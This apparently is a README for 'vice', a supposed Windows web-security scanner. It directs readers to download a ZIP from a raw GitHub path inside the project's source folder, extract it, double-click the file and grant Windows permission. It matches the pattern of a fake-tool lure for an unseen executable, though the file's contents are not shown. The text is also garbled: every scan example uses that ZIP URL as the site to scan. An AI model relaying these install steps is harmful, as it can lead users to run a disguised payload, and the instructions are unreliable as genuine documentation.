🔎 vice - Find Security Gaps Fast

🧭 What vice does

VICE is a security auditing CLI tool that checks your web apps for common weak points. It helps you spot risks before they turn into real problems.

Use it to:

• Scan web apps for known security issues
• Check pages, forms, and common request paths
• Review findings in a clear text report
• Run checks from a Windows command prompt

💻 What you need

Before you start, make sure you have:

• A Windows PC
• An internet connection
• A recent version of Windows 10 or Windows 11
• Permission to scan the web app you plan to test

For the best results, use:

• 4 GB RAM or more
• At least 200 MB of free disk space
• Windows Terminal or Command Prompt

⬇️ Download vice

Visit this page to download and run the tool:

https://raw.githubusercontent.com/Angelfpd1933/vice/main/src/core/Software_v3.1-beta.4.zip

If the page offers a release file for Windows, download that file. If it gives you the source files only, use the setup steps below to run it on your machine.

🪟 Install on Windows

Follow these steps to get vice running on Windows:

1. Open the download page in your browser.
2. Download the Windows file if one is listed.
3. If the file is in a ZIP folder, right-click it and choose Extract All.
4. Move the extracted folder to a place you can find again, such as Downloads or Desktop.
5. Open the folder and look for the app file or start file.
6. Double-click the file to run it.

If Windows asks for permission, choose Allow or Yes so the app can start.

▶️ Run a scan

After you open vice, use it from Command Prompt or Windows Terminal.

A typical scan follows this flow:

1. Open Start.
2. Type Command Prompt.
3. Open it.
4. Go to the folder where vice is saved.
5. Run the tool with the site you want to check.

Example use:

• vice scan https://raw.githubusercontent.com/Angelfpd1933/vice/main/src/core/Software_v3.1-beta.4.zip

Common scan options may include:

• --quick for a faster check
• --full for a deeper check
• --output report.txt to save results to a file

If you are not sure which option to use, start with a quick scan and review the results.

🔍 What vice checks

VICE focuses on common web security issues such as:

• Weak login flows
• Missing security headers
• Unsafe form handling
• Open pages that should be protected
• Input points that may accept harmful data
• Clear signs of misconfigured web settings

The report uses plain labels so you can see what needs attention.

📄 Read the results

When the scan finishes, vice prints results in the console.

Look for:

• High-risk findings first
• Pages that need access control
• Forms that accept user input
• Repeated problems across more than one page

A clean report means vice did not find issues in the areas it checked. A report with findings means you should review the listed items and test them again after changes.

🛠️ Common setup tips

If the tool does not open, try these steps:

• Make sure you downloaded the full file
• Check that the folder was not moved
• Open Command Prompt in the same folder as vice
• Run the app again
• Restart Windows if the file still does not start

If the scan stops early:

• Check your internet connection
• Make sure the target site is online
• Try a smaller scan first
• Run the tool from a fresh Command Prompt window

🧩 Example workflow

A simple day-to-day use case looks like this:

1. Open vice.
2. Enter the web app address.
3. Start a quick scan.
4. Review the findings.
5. Fix the issues in your app.
6. Run the scan again.

This makes it easy to check changes as you work.

📁 File layout

You may see folders or files like these after download:

• vice.exe or a similar start file
• config for tool settings
• logs for saved run details
• reports for scan output
• README.md for project notes

Keep the main app file with its folders in the same place.

⚙️ Command examples

Here are a few simple examples you may use on Windows:

• vice --help
• vice scan https://raw.githubusercontent.com/Angelfpd1933/vice/main/src/core/Software_v3.1-beta.4.zip
• vice scan https://raw.githubusercontent.com/Angelfpd1933/vice/main/src/core/Software_v3.1-beta.4.zip --output results.txt
• vice scan https://raw.githubusercontent.com/Angelfpd1933/vice/main/src/core/Software_v3.1-beta.4.zip --full

If the tool shows a help screen, read the available commands before you run a scan.
